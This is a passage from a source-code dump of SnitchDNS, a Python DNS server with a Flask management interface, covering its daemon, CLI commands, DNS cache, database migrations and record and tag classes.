36 |         except Exception as e:
37 |             return e
38 | 
39 |         return True
40 | 


--------------------------------------------------------------------------------
/app/lib/base/environment.py:
--------------------------------------------------------------------------------
 1 | import os
 2 | 
 3 | 
 4 | class EnvironmentManager:
 5 |     def get_data_path(self):
 6 |         default_data_path = os.path.realpath(
 7 |             os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..', '..', 'data'))
 8 |         path = self.env('SNITCHDNS_DATA_PATH', default='').strip()
 9 |         return path if len(path) > 0 else default_data_path
10 | 
11 |     def env(self, name, default=None, must_exist=False):
12 |         if not name in os.environ:
13 |             if must_exist:
14 |                 raise Exception("Environment variable not found: {0}".format(name))
15 |             return default
16 |         return os.environ[name]
17 | 


--------------------------------------------------------------------------------
/app/lib/base/instance/base_instance.py:
--------------------------------------------------------------------------------
 1 | import datetime
 2 | from app import db
 3 | from app.lib.base.settings import SettingsManager
 4 | 
 5 | 
 6 | class BaseInstance:
 7 |     def __init__(self, item):
 8 |         self.item = item
 9 |         self._uses_cache = False
10 | 
11 |     def save(self):
12 |         self.item.updated_at = datetime.datetime.now()
13 |         if not self.id:
14 |             self.item.created_at = datetime.datetime.now()
15 |             db.session.add(self.item)
16 |         self.commit()
17 |         db.session.refresh(self.item)
18 | 
19 |         if self._uses_cache:
20 |             SettingsManager().save('dns_clear_cache', True)
21 | 
22 |     def delete(self):
23 |         db.session.delete(self.item)
24 |         self.commit()
25 | 
26 |     def commit(self):
27 |         db.session.commit()
28 | 
29 |     @property
30 |     def id(self):
31 |         return self.item.id
32 | 
33 |     @property
34 |     def created_at(self):
35 |         # This is a required property for consistency.
36 |         return self.item.created_at
37 | 
38 |     @property
39 |     def updated_at(self):
40 |         # This is a required property for consistency.
41 |         return self.item.updated_at
42 | 


--------------------------------------------------------------------------------
/app/lib/base/password_complexity.py:
--------------------------------------------------------------------------------
 1 | class PasswordComplexityManager:
 2 |     def __init__(self, min_length, min_lower, min_upper, min_digits, min_special):
 3 |         self.min_length = int(min_length)
 4 |         self.min_lower = int(min_lower)
 5 |         self.min_upper = int(min_upper)
 6 |         self.min_digits = int(min_digits)
 7 |         self.min_special = int(min_special)
 8 | 
 9 |     def meets_requirements(self, password):
10 |         if len(password) < self.min_length:
11 |             return False
12 | 
13 |         lower = upper = digits = special = 0
14 |         for c in password:
15 |             if c.islower():
16 |                 lower += 1
17 |             elif c.isupper():
18 |                 upper += 1
19 |             elif c.isdigit():
20 |                 digits += 1
21 |             else:
22 |                 special += 1
23 | 
24 |         if lower < self.min_lower:
25 |             return False
26 |         elif upper < self.min_upper:
27 |             return False
28 |         elif digits < self.min_digits:
29 |             return False
30 |         elif special < self.min_special:
31 |             return False
32 | 
33 |         return True
34 | 
35 |     def get_requirement_description(self):
36 |         desc = [
37 |             "Minimum Length: " + str(self.min_length),
38 |             "Minimum Lowercase: " + str(self.min_lower),
39 |             "Minimum Uppercase: " + str(self.min_upper),
40 |             "Minimum Digits: " + str(self.min_digits),
41 |             "Minimum Special: " + str(self.min_special)
42 |         ]
43 | 
44 |         return ", ".join(desc)
45 | 


--------------------------------------------------------------------------------
/app/lib/base/shell.py:
--------------------------------------------------------------------------------
 1 | import subprocess
 2 | import shlex
 3 | 
 4 | 
 5 | class ShellManager:
 6 |     def __init__(self, venv_bash_script):
 7 |         self.__venv_bash_script = venv_bash_script
 8 | 
 9 |     def execute(self, command, wait=True, venv=False):
10 |         if isinstance(command, dict):
11 |             command = self.__build_command_from_dict(command)
12 | 
13 |         if venv:
14 |             command = [self.__venv_bash_script] + command
15 | 
16 |         return self.__execute(command, wait)
17 | 
18 |     def __execute(self, command, wait):
19 |         if wait:
20 |             return subprocess.run(command, stdout=subprocess.PIPE).stdout.decode().strip()
21 | 
22 |         return subprocess.Popen(command)
23 | 
24 |     def __build_command_from_dict(self, command):
25 |         sanitised = []
26 |         for key, value in command.items():
27 |             item = shlex.quote(key)
28 |             if isinstance(value, str) and len(value) > 0:
29 |                 item = item + ' ' + shlex.quote(value)
30 |             else:
31 |                 item = item + ' ' + str(value)
32 | 
33 |             sanitised.append(item.strip())
34 | 
35 |         return sanitised
36 | 


--------------------------------------------------------------------------------
/app/lib/cli/cron.py:
--------------------------------------------------------------------------------
 1 | import click
 2 | from flask.cli import with_appcontext
 3 | from app.lib.base.provider import Provider
 4 | 
 5 | 
 6 | @click.command('cron', help='SnitchDNS Cron')
 7 | @with_appcontext
 8 | def main():
 9 |     cron = Provider().cron()
10 |     return cron.run()
11 | 


--------------------------------------------------------------------------------
/app/lib/cli/env.py:
--------------------------------------------------------------------------------
 1 | import click
 2 | from flask.cli import with_appcontext
 3 | 
 4 | 
 5 | @click.command('env', help='SnitchDNS helper to identify the running environment')
 6 | @with_appcontext
 7 | def main():
 8 |     print('OK')
 9 |     return True
10 | 


--------------------------------------------------------------------------------
/app/lib/cli/settings.py:
--------------------------------------------------------------------------------
 1 | import click
 2 | import tabulate
 3 | from flask.cli import with_appcontext
 4 | from app.lib.base.provider import Provider
 5 | 
 6 | 
 7 | @click.group('settings', help='SnitchDNS Setting Management')
 8 | @with_appcontext
 9 | def main():
10 |     pass
11 | 
12 | 
13 | @main.command('list')
14 | @with_appcontext
15 | def cli_settings_list():
16 |     settings = Provider().settings()
17 | 
18 |     headers = ['name', 'value']
19 |     table = []
20 |     for name, value in settings.all().items():
21 |         table.append([
22 |             name,
23 |             value
24 |         ])
25 | 
26 |     print(tabulate.tabulate(table, headers))
27 |     return True
28 | 
29 | 
30 | @main.command('get')
31 | @click.option('--name', required=True, help='Config variable name', type=click.STRING)
32 | @click.option('--default', required=False, default='', help='Default value to return if config does not exist', type=click.STRING)
33 | @with_appcontext
34 | def cli_settings_get(name, default):
35 |     settings = Provider().settings()
36 | 
37 |     print(settings.get(name, default))
38 |     return True
39 | 
40 | 
41 | @main.command('set')
42 | @click.option('--name', required=True, help='Config variable name', type=click.STRING)
43 | @click.option('--value', required=True, help='Config variable value', type=click.STRING)
44 | @with_appcontext
45 | def cli_settings_get(name, value):
46 |     settings = Provider().settings()
47 | 
48 |     settings.save(name, value)
49 |     print("OK")
50 |     return True
51 | 


--------------------------------------------------------------------------------
/app/lib/cli/snitch_daemon.py:
--------------------------------------------------------------------------------
 1 | import click
 2 | from flask.cli import with_appcontext
 3 | from app.lib.base.provider import Provider
 4 | 
 5 | 
 6 | @click.command('snitch_daemon', help='SnitchDNS Daemon')
 7 | @click.option('--bind-ip', required=True, help='IP Address to bind daemon')
 8 | @click.option('--bind-port', required=True, type=int, help='Port to bind daemon')
 9 | @with_appcontext
10 | def main(bind_ip, bind_port):
11 |     settings = Provider().settings()
12 |     forward_dns_enabled = settings.get('forward_dns_enabled', False, type=bool)
13 |     forward_dns_address = settings.get('forward_dns_address', [], type=list)
14 |     dns_cache_enabled = settings.get('dns_cache_enabled', False, type=bool)
15 |     dns_cache_max_items = settings.get('dns_cache_max_items', 0, type=int)
16 | 
17 |     csv_location = ''
18 |     if settings.get('csv_logging_enabled', False, type=bool):
19 |         csv_location = settings.get('csv_logging_file', '', type=str)
20 | 
21 |     from app.lib.daemon.cli import DNSDaemonCLI
22 |     cli = DNSDaemonCLI()
23 |     return cli.daemon(bind_ip, bind_port, forward_dns_enabled, forward_dns_address, csv_location, dns_cache_enabled, dns_cache_max_items)
24 | 
25 | 
26 | @click.command('snitch_start', help='SnitchDNS Start Daemon')
27 | @with_appcontext
28 | def snitch_start():
29 |     provider = Provider()
30 |     daemon = provider.daemon()
31 | 
32 |     if not daemon.is_configured():
33 |         print("SnitchDNS Daemon is not configured - aborting.")
34 |         return False
35 | 
36 |     print("SnitchDNS - Starting daemon...")
37 |     return daemon.start()
38 | 


--------------------------------------------------------------------------------
/app/lib/cli/snitchdb.py:
--------------------------------------------------------------------------------
 1 | import click
 2 | from flask.cli import with_appcontext
 3 | from app.lib.database.seed import SeedDatabase
 4 | 
 5 | 
 6 | @click.command('snitchdb', help='SnitchDNS Database Setup')
 7 | @with_appcontext
 8 | def main():
 9 |     seed = SeedDatabase()
10 |     seed.run()
11 |     return True
12 | 


--------------------------------------------------------------------------------
/app/lib/daemon/cli.py:
--------------------------------------------------------------------------------
 1 | from app.lib.daemon.daemon import SnitchDaemon
 2 | import os
 3 | import csv
 4 | 
 5 | 
 6 | class DNSDaemonCLI:
 7 |     def daemon(self, bind_ip, bind_port, forwarding_enabled, forwarders, csv_location, cache_enabled, cache_max_items):
 8 |         print("Starting DNS...")
 9 | 
10 |         if not self.__prepare_csv_logging(csv_location):
11 |             csv_location = ''
12 | 
13 |         daemon = SnitchDaemon(
14 |             bind_ip,
15 |             bind_port,
16 |             forwarding_enabled,
17 |             self.__get_forwarding_servers(forwarders),
18 |             csv_location,
19 |             cache_enabled,
20 |             cache_max_items
21 |         )
22 | 
23 |         daemon.start()
24 | 
25 |         return True
26 | 
27 |     def __get_forwarding_servers(self, forwarders):
28 |         servers = []
29 | 
30 |         if len(forwarders) == 0:
31 |             return servers
32 | 
33 |         for forwarder in forwarders:
34 |             data = forwarder.split(':')
35 |             if len(data) == 1:
36 |                 ip = forwarder
37 |                 port = 53
38 |             else:
39 |                 ip = data[0]
40 |                 port = int(data[1])
41 |             servers.append((ip, port))
42 | 
43 |         return servers
44 | 
45 |     def __prepare_csv_logging(self, file):
46 |         if len(file) == 0:
47 |             # Not enabled.
48 |             return False
49 |         elif not (os.access(file, os.W_OK) if os.path.isfile(file) else os.access(os.path.dirname(file), os.W_OK)):
50 |             # Not writable.
51 |             return False
52 | 
53 |         if not os.path.isfile(file):
54 |             header = [
55 |                 'id',
56 |                 'source_ip',
57 |                 'domain',
58 |                 'class',
59 |                 'type',
60 |                 'found',
61 |                 'forwarded',
62 |                 'blocked',
63 |                 'date'
64 |             ]
65 | 
66 |             with open(file, 'w') as f:
67 |                 writer = csv.writer(f, quoting=csv.QUOTE_ALL)
68 |                 writer.writerow(header)
69 | 
70 |         return True
71 | 


--------------------------------------------------------------------------------
/app/lib/daemon/daemon.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.provider import Provider
 2 | from app import create_app
 3 | from twisted.internet import reactor
 4 | from twisted.names.dns import DNSDatagramProtocol
 5 | from twisted.names import client
 6 | from app.lib.daemon.server.resolver import DatabaseDNSResolver
 7 | from app.lib.daemon.server.factory import DatabaseDNSFactory
 8 | from app.lib.daemon.server.logging import DatabaseDNSLogging
 9 | from app.lib.daemon.server.cache import DNSCache
10 | from twisted.python import log
11 | import logging
12 | 
13 | 
14 | class SnitchDaemon:
15 |     def __init__(self, host, port, forwarding_enabled, forwarders, csv_location, cache_enabled, cache_max_items):
16 |         self.__host = host
17 |         self.__port = port
18 |         self.__forwarding_enabled = forwarding_enabled
19 |         self.__forwarders = forwarders
20 |         self.__csv_location = csv_location
21 |         self.__cache_enabled = cache_enabled
22 |         self.__cache_max_items = cache_max_items
23 | 
24 |     def start(self):
25 |         app_for_context = create_app()
26 |         dns_logging = DatabaseDNSLogging(app_for_context)
27 |         dns_cache = DNSCache(self.__cache_enabled, Provider().settings(), self.__cache_max_items)
28 | 
29 |         clients = [DatabaseDNSResolver(app_for_context, Provider().dns_manager(), dns_logging, dns_cache)]
30 |         if self.__forwarding_enabled and len(self.__forwarders) > 0:
31 |             clients.append(client.Resolver(servers=self.__forwarders))
32 | 
33 |         factory = DatabaseDNSFactory(clients=clients, verbose=2)
34 |         factory.app = app_for_context
35 |         factory.logging = dns_logging
36 |         factory.restrictions = Provider().dns_restrictions()
37 |         factory.csv_location = self.__csv_location
38 | 
39 |         observer = log.PythonLoggingObserver()
40 |         observer.start()
41 | 
42 |         logging.basicConfig()
43 |         logger = logging.getLogger()
44 |         logger.setLevel(logging.DEBUG)
45 | 
46 |         reactor.listenUDP(self.__port, DNSDatagramProtocol(factory), interface=self.__host)
47 |         reactor.listenTCP(self.__port, factory, interface=self.__host)
48 |         reactor.run()
49 | 


--------------------------------------------------------------------------------
/app/lib/daemon/manager.py:
--------------------------------------------------------------------------------
 1 | import ipaddress
 2 | import time
 3 | 
 4 | 
 5 | class DaemonManager:
 6 |     @property
 7 |     def ip(self):
 8 |         return self.__bind_ip
 9 | 
10 |     @property
11 |     def port(self):
12 |         return self.__bind_port
13 | 
14 |     def __init__(self, bind_ip, bind_port, system, shell):
15 |         self.__bind_ip = bind_ip
16 |         self.__bind_port = int(bind_port)
17 |         self.__system = system
18 |         self.__shell = shell
19 | 
20 |     def start(self):
21 |         command = [
22 |             'flask',
23 |             'snitch_daemon',
24 |             '--bind-ip',
25 |             self.ip,
26 |             '--bind-port',
27 |             str(self.port)
28 |         ]
29 | 
30 |         self.__shell.execute(command, wait=False, venv=True)
31 | 
32 |         # Wait a little while - I'm not using a loop intentionally.
33 |         time.sleep(5)
34 | 
35 |         return self.is_running()
36 | 
37 |     def stop(self):
38 |         pids = self.is_running()
39 |         if pids:
40 |             for pid in pids:
41 |                 self.__system.process_kill(pid)
42 | 
43 |             # Wait a bit.
44 |             time.sleep(5)
45 | 
46 |         return not self.is_running()
47 | 
48 |     def is_running(self):
49 |         ids = []
50 |         processes = self.__system.process_list()
51 |         for process in processes:
52 |             cmdline = process['cmdline']
53 |             if ('snitch_daemon' in cmdline) and (self.ip in cmdline) and (str(self.port) in cmdline) :
54 |                 ids.append(process['id'])
55 | 
56 |         return ids if len(ids) > 0 else False
57 | 
58 |     def is_configured(self):
59 |         if self.port < 1024 or self.port > 65535:
60 |             return False
61 |         elif not self.__is_valid_ip_address(self.ip):
62 |             return False
63 | 
64 |         return True
65 | 
66 |     def __is_valid_ip_address(self, ip):
67 |         try:
68 |             obj = ipaddress.ip_address(ip)
69 |         except ValueError:
70 |             return False
71 | 
72 |         return True
73 | 


--------------------------------------------------------------------------------
/app/lib/daemon/server/cache.py:
--------------------------------------------------------------------------------
 1 | import copy
 2 | 
 3 | 
 4 | class DNSCache:
 5 |     def __init__(self, state, settings, max_items):
 6 |         self.__enabled = state
 7 |         self.__settings = settings
 8 |         self.__cache = {}
 9 |         self.__max_items = max_items
10 | 
11 |     def get(self, domain, cls, type, log):
12 |         if not self.__enabled:
13 |             return False
14 | 
15 |         self.__check_cache_status()
16 | 
17 |         domain = domain.lower()
18 |         if domain not in self.__cache:
19 |             return False
20 |         elif cls not in self.__cache[domain]:
21 |             return False
22 |         elif type not in self.__cache[domain][cls]:
23 |             return False
24 | 
25 |         log.dns_zone_id = self.__cache[domain][cls][type]['__dns_zone_id']
26 |         log.dns_record_id = self.__cache[domain][cls][type]['__dns_record_id']
27 |         log.save()
28 | 
29 |         result = self.__cache[domain][cls][type]
30 |         result['log'] = log
31 | 
32 |         return result
33 | 
34 |     def add(self, domain, cls, type, data):
35 |         if not self.__enabled:
36 |             return False
37 | 
38 |         self.__check_cache_status()
39 | 
40 |         domain = domain.lower()
41 |         if not domain in self.__cache:
42 |             self.__cache[domain] = {}
43 | 
44 |         if not cls in self.__cache[domain]:
45 |             self.__cache[domain][cls] = {}
46 | 
47 |         if not type in self.__cache[domain][cls]:
48 |             cache = copy.deepcopy(data)
49 |             cache['__dns_zone_id'] = data['log'].dns_zone_id
50 |             cache['__dns_record_id'] = data['log'].dns_record_id
51 |             cache['log'] = None
52 |             self.__cache[domain][cls][type] = cache
53 | 
54 |         return True
55 | 
56 |     def __check_cache_status(self):
57 |         if self.__settings.get('dns_clear_cache', False, type=bool) is True:
58 |             self.__cache = {}
59 |             self.__settings.save('dns_clear_cache', False)
60 | 
61 |         if (self.__max_items > 0) and (len(self.__cache) >= self.__max_items):
62 |             self.__cache = {}
63 | 
64 |         return True
65 | 


--------------------------------------------------------------------------------
/app/lib/daemon/server/logging.py:
--------------------------------------------------------------------------------
 1 | from app.lib.dns.log_manager import DNSLogManager
 2 | 
 3 | 
 4 | class DatabaseDNSLogging:
 5 |     def __init__(self, app):
 6 |         self.__app = app
 7 |         self.__log_manager = DNSLogManager()
 8 | 
 9 |     def create(self, domain=None, cls=None, type=None):
10 |         # This should be called from within the app context.
11 |         item = self.__log_manager.create()
12 |         if domain is not None:
13 |             item.domain = domain
14 | 
15 |         if cls is not None:
16 |             item.cls = cls
17 | 
18 |         if type is not None:
19 |             item.type = type
20 | 
21 |         item.save()
22 |         return item
23 | 
24 |     def get(self, log_id):
25 |         return self.__log_manager.get(log_id)
26 | 
27 |     def find(self, domain, cls, type, completed):
28 |         # When this is called, we should already be within an app_context().
29 |         return self.__log_manager.find(domain, cls, type, completed)
30 | 


--------------------------------------------------------------------------------
/app/lib/database/seed.py:
--------------------------------------------------------------------------------
 1 | from app.lib.notifications.managers.type_manager import NotificationTypeManager
 2 | from app.lib.base.provider import Provider
 3 | from app import version as app_version
 4 | from packaging import version
 5 | import app.lib.database.upgrades.migration_v1_1_0 as v1_1_0
 6 | 
 7 | 
 8 | class SeedDatabase:
 9 |     def run(self):
10 |         self.__seed_notification_types()
11 |         self.__run_db_update()
12 |         return True
13 | 
14 |     def __seed_notification_types(self):
15 |         print("Adding notification types...")
16 |         data = [
17 |             {'name': 'email', 'description': 'E-mail'},
18 |             {'name': 'webpush', 'description': 'Web Push'},
19 |             {'name': 'slack', 'description': 'Slack Webhooks'},
20 |             {'name': 'teams', 'description': 'Teams Webhooks'},
21 |         ]
22 | 
23 |         type_manager = NotificationTypeManager()
24 |         for item in data:
25 |             type = type_manager.get(name=item['name'])
26 |             if type:
27 |                 # Found, skip.
28 |                 print("Type {0} already exists - skipping".format(item['name']))
29 |                 continue
30 | 
31 |             print("Creating type {0}".format(item['name']))
32 |             type = type_manager.create()
33 |             type.name = item['name']
34 |             type.description = item['description']
35 |             type.save()
36 | 
37 |         return True
38 | 
39 |     def __run_db_update(self):
40 |         provider = Provider()
41 |         settings = provider.settings()
42 | 
43 |         db_version = settings.get('db_version', '0.0.0')
44 |         installed_version = version.parse(db_version)
45 |         if installed_version >= version.parse(app_version.__version__):
46 |             print("No database updates required")
47 |             return True
48 | 
49 |         if installed_version < version.parse('1.1.0'):
50 |             migration = v1_1_0.DBMigration(provider)
51 |             if migration.run():
52 |                 settings.save('db_version', '1.1.0')
53 | 
54 |         return True
55 | 


--------------------------------------------------------------------------------
/app/lib/database/upgrades/migration_v1_1_0.py:
--------------------------------------------------------------------------------
 1 | class DBMigration:
 2 |     def __init__(self, provider):
 3 |         self.__provider = provider
 4 | 
 5 |     def run(self):
 6 |         print("Upgrading to version v1.1.0...")
 7 |         self.__add_auth_types()
 8 |         self.__migrate_existing_users()
 9 |         return True
10 | 
11 |     def __add_auth_types(self):
12 |         users = self.__provider.users()
13 | 
14 |         auth_types = [
15 |             {'name': 'Local'},
16 |             {'name': 'LDAP'},
17 |             {'name': 'RADIUS'}
18 |         ]
19 | 
20 |         for auth_type in auth_types:
21 |             item = users.get_authtype(name=auth_type['name'])
22 |             if not item:
23 |                 print("Adding auth type {0}".format(auth_type['name']))
24 |                 users.add_authtype(auth_type['name'])
25 | 
26 |         return True
27 | 
28 |     def __migrate_existing_users(self):
29 |         users = self.__provider.users()
30 | 
31 |         all_users = users.all()
32 |         for user in all_users:
33 |             method = 'Local' if user.ldap == 0 else 'LDAP'
34 |             print("Migrating user {0} to auth type {1}".format(user.username, method))
35 |             users.set_auth_method_by_name(user.id, method)
36 | 
37 |         return True
38 | 


--------------------------------------------------------------------------------
/app/lib/dns/collections/restrictions.py:
--------------------------------------------------------------------------------
 1 | class RestrictionCollection:
 2 |     def __init__(self):
 3 |         self.__restrictions = []
 4 | 
 5 |     def add(self, restriction):
 6 |         self.__restrictions.append(restriction)
 7 | 
 8 |     def all(self):
 9 |         return self.__restrictions
10 | 
11 |     def count(self):
12 |         return len(self.__restrictions)
13 | 
14 |     def get(self, id):
15 |         for restriction in self.__restrictions:
16 |             if restriction.id == id:
17 |                 return restriction
18 |         return None
19 | 
20 |     def gather(self, type):
21 |         data = []
22 |         for restriction in self.__restrictions:
23 |             if restriction.type == type:
24 |                 data.append(restriction)
25 | 
26 |         return data
27 | 
28 |     def get_enabled(self):
29 |         restrictions = []
30 |         for restriction in self.__restrictions:
31 |             if restriction.enabled:
32 |                 restrictions.append(restriction)
33 | 
34 |         return restrictions
35 | 


--------------------------------------------------------------------------------
/app/lib/dns/instances/alias.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class Alias(BaseInstance):
 5 |     def __init__(self, item):
 6 |         super().__init__(item)
 7 | 
 8 |     @property
 9 |     def user_id(self):
10 |         return self.item.user_id
11 | 
12 |     @user_id.setter
13 |     def user_id(self, value):
14 |         self.item.user_id = value
15 | 
16 |     @property
17 |     def name(self):
18 |         return self.item.name
19 | 
20 |     @name.setter
21 |     def name(self, value):
22 |         self.item.name = value
23 | 
24 |     @property
25 |     def ip(self):
26 |         return self.item.ip
27 | 
28 |     @ip.setter
29 |     def ip(self, value):
30 |         self.item.ip = value
31 | 


--------------------------------------------------------------------------------
/app/lib/dns/instances/query_log.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class DNSQueryLog(BaseInstance):
 5 |     @property
 6 |     def source_ip(self):
 7 |         return self.item.source_ip
 8 | 
 9 |     @source_ip.setter
10 |     def source_ip(self, value):
11 |         self.item.source_ip = value
12 | 
13 |     @property
14 |     def domain(self):
15 |         return self.item.domain
16 | 
17 |     @domain.setter
18 |     def domain(self, value):
19 |         self.item.domain = value
20 | 
21 |     @property
22 |     def cls(self):
23 |         return self.item.cls
24 | 
25 |     @cls.setter
26 |     def cls(self, value):
27 |         self.item.cls = value
28 | 
29 |     @property
30 |     def type(self):
31 |         return self.item.type
32 | 
33 |     @type.setter
34 |     def type(self, value):
35 |         self.item.type = value
36 | 
37 |     @property
38 |     def forwarded(self):
39 |         return self.item.forwarded
40 | 
41 |     @forwarded.setter
42 |     def forwarded(self, value):
43 |         self.item.forwarded = value
44 | 
45 |     @property
46 |     def found(self):
47 |         return self.item.found
48 | 
49 |     @found.setter
50 |     def found(self, value):
51 |         self.item.found = value
52 | 
53 |     @property
54 |     def completed(self):
55 |         return self.item.completed
56 | 
57 |     @completed.setter
58 |     def completed(self, value):
59 |         self.item.completed = value
60 | 
61 |     @property
62 |     def data(self):
63 |         return self.item.data
64 | 
65 |     @data.setter
66 |     def data(self, value):
67 |         self.item.data = value
68 | 
69 |     @property
70 |     def dns_zone_id(self):
71 |         return self.item.dns_zone_id
72 | 
73 |     @dns_zone_id.setter
74 |     def dns_zone_id(self, value):
75 |         self.item.dns_zone_id = value
76 | 
77 |     @property
78 |     def dns_record_id(self):
79 |         return self.item.dns_record_id
80 | 
81 |     @dns_record_id.setter
82 |     def dns_record_id(self, value):
83 |         self.item.dns_record_id = value
84 | 
85 |     @property
86 |     def blocked(self):
87 |         return self.item.blocked
88 | 
89 |     @blocked.setter
90 |     def blocked(self, value):
91 |         self.item.blocked = value
92 | 


--------------------------------------------------------------------------------
/app/lib/dns/instances/restriction.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class DNSZoneRestriction(BaseInstance):
 5 |     def __init__(self, item):
 6 |         super().__init__(item)
 7 |         self._uses_cache = True
 8 | 
 9 |     @property
10 |     def zone_id(self):
11 |         return self.item.zone_id
12 | 
13 |     @zone_id.setter
14 |     def zone_id(self, value):
15 |         self.item.zone_id = value
16 | 
17 |     @property
18 |     def ip_range(self):
19 |         return self.item.ip_range
20 | 
21 |     @ip_range.setter
22 |     def ip_range(self, value):
23 |         self.item.ip_range = value
24 | 
25 |     @property
26 |     def type(self):
27 |         return self.item.type
28 | 
29 |     @type.setter
30 |     def type(self, value):
31 |         self.item.type = value
32 | 
33 |     @property
34 |     def enabled(self):
35 |         return self.item.enabled
36 | 
37 |     @enabled.setter
38 |     def enabled(self, value):
39 |         self.item.enabled = value
40 | 


--------------------------------------------------------------------------------
/app/lib/dns/instances/tag.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class Tag(BaseInstance):
 5 |     def __init__(self, item):
 6 |         super().__init__(item)
 7 | 
 8 |     @property
 9 |     def user_id(self):
10 |         return self.item.user_id
11 | 
12 |     @user_id.setter
13 |     def user_id(self, value):
14 |         self.item.user_id = value
15 | 
16 |     @property
17 |     def name(self):
18 |         return self.item.name
19 | 
20 |     @name.setter
21 |     def name(self, value):
22 |         self.item.name = value
23 | 


--------------------------------------------------------------------------------
/app/lib/dns/instances/zone_tag.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class DNSZoneTag(BaseInstance):
 5 |     def __init__(self, item):
 6 |         super().__init__(item)
 7 | 
 8 |     @property
 9 |     def dns_zone_id(self):
10 |         return self.item.dns_zone_id
11 | 
12 |     @dns_zone_id.setter
13 |     def dns_zone_id(self, value):
14 |         self.item.dns_zone_id = value
15 | 
16 |     @property
17 |     def tag_id(self):
18 |         return self.item.tag_id
19 | 
20 |     @tag_id.setter
21 |     def tag_id(self, value):
22 |         self.item.tag_id = value
23 | 


--------------------------------------------------------------------------------
/app/lib/dns/records/record_caa.py:
--------------------------------------------------------------------------------
 1 | from twisted.names import dns
 2 | 
 3 | 
 4 | # Adapted from https://github.com/ajxchapman/ReServ/blob/5d95950a26e7d97f387872b6d49db2c3b2a8c57e/servers/dns.py#L17
 5 | class Record_CAA:
 6 |     TYPE = 257
 7 |     fancybasename = 'CAA'
 8 | 
 9 |     def __init__(self, value, ttl=None):
10 |         self.flags = 0
11 |         self.tag = 'issue'
12 |         self.value = value
13 |         self.ttl = dns.str2time(ttl)
14 | 
15 |     def encode(self, strio, compDict=None):
16 |         strio.write(bytes([self.flags, len(self.tag)]))
17 |         strio.write(self.tag.encode())
18 |         strio.write(self.value)
19 | 
20 |     def decode(self, strio, length=None):
21 |         pass
22 | 
23 |     def __hash__(self):
24 |         return hash(self.value)
25 | 
26 |     def __str__(self):
27 |         return '<CAA record=%d %s "%s" ttl=%s>' % (self.flags, self.tag, self.value.decode(), self.ttl)
28 | 
29 |     __repr__ = __str__
30 | 


--------------------------------------------------------------------------------
/app/lib/dns/records/record_snitch.py:
--------------------------------------------------------------------------------
1 | from twisted.names.dns import RRHeader
2 | 
3 | 
4 | class Record_SNITCH(RRHeader):
5 |     TYPE = -2024
6 |     fancybasename = 'SNITCH_RECORD'
7 | 


--------------------------------------------------------------------------------
/app/lib/dns/tag_manager.py:
--------------------------------------------------------------------------------
 1 | from app.lib.models.tags import TagModel
 2 | from app.lib.dns.instances.tag import Tag
 3 | from sqlalchemy import desc, asc
 4 | 
 5 | 
 6 | class TagManager:
 7 |     def __get(self, id=None, user_id=None, name=None, order_column=None, order_by=None):
 8 |         query = TagModel.query
 9 | 
10 |         if id is not None:
11 |             query = query.filter(TagModel.id == id)
12 | 
13 |         if user_id is not None:
14 |             query = query.filter(TagModel.user_id == user_id)
15 | 
16 |         if name is not None:
17 |             if isinstance(name, list):
18 |                 # A list of tags has been passed.
19 |                 query = query.filter(TagModel.name.in_(name))
20 |             else:
21 |                 query = query.filter(TagModel.name == name)
22 | 
23 |         if (order_column is not None) and (order_by is not None):
24 |             order = None
25 | 
26 |             if order_column == 'id':
27 |                 order = asc(TagModel.id) if order_by == 'asc' else desc(TagModel.id)
28 |             elif order_column == 'name':
29 |                 order = asc(TagModel.name) if order_by == 'asc' else desc(TagModel.name)
30 | 
31 |             if order is not None:
32 |                 query = query.order_by(order)
33 | 
34 |         return query.all()
35 | 
36 |     def __load(self, item):
37 |         return Tag(item)
38 | 
39 |     def save(self, user_id, name):
40 |         item = self.__get(user_id=user_id, name=name)
41 |         if not item:
42 |             item = Tag(TagModel())
43 |             item.user_id = user_id
44 |             item.name = name
45 |             item.save()
46 |         else:
47 |             item = self.__load(item[0])
48 | 
49 |         return item
50 | 
51 |     def update(self, tag_id, name):
52 |         tag = self.get(tag_id)
53 |         if not tag:
54 |             return False
55 | 
56 |         tag.name = name
57 |         tag.save()
58 |         return tag
59 | 
60 |     def get(self, tag_id, user_id=None):
61 |         result = self.__get(id=tag_id, user_id=user_id)
62 |         if len(result) == 0:
63 |             return False
64 | 
65 |         return self.__load(result[0])
66 | 
67 |     def all(self, user_id=None, name=None, order_column=None, order_by=None):
68 |         results = self.__get(user_id=user_id, name=name, order_column=order_column, order_by=order_by)
69 |         tags = []
70 |         for result in results:
71 |             tags.append(self.__load(result))
72 |         return tags
73 | 
74 |     def get_tag_ids(self, tags, user_id=None):
75 |         results = self.__get(user_id=user_id, name=tags)
76 |         ids = []
77 |         for result in results:
78 |             ids.append(result.id)
79 | 
80 |         return ids
81 | 
82 |     def can_access(self, tag_id, user_id):
83 |         return len(self.__get(id=tag_id, user_id=user_id)) > 0
84 | 
85 |     def delete(self, tag_id, user_id=None):
86 |         results = self.__get(id=tag_id, user_id=user_id)
87 |         if not results:
88 |             return False
89 | 
90 |         self.__load(results[0]).delete()
91 |         return True
92 | 


--------------------------------------------------------------------------------
/app/lib/log/instances/log_error.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class LogError(BaseInstance):
 5 |     def __init__(self, item):
 6 |         super().__init__(item)
 7 | 
 8 |         self.__username = ''
 9 | 
10 |     @property
11 |     def user_id(self):
12 |         return self.item.user_id
13 | 
14 |     @user_id.setter
15 |     def user_id(self, value):
16 |         self.item.user_id = value
17 | 
18 |     @property
19 |     def description(self):
20 |         return self.item.description
21 | 
22 |     @description.setter
23 |     def description(self, value):
24 |         self.item.description = value
25 | 
26 |     @property
27 |     def details(self):
28 |         return self.item.details
29 | 
30 |     @details.setter
31 |     def details(self, value):
32 |         self.item.details = value
33 | 
34 |     @property
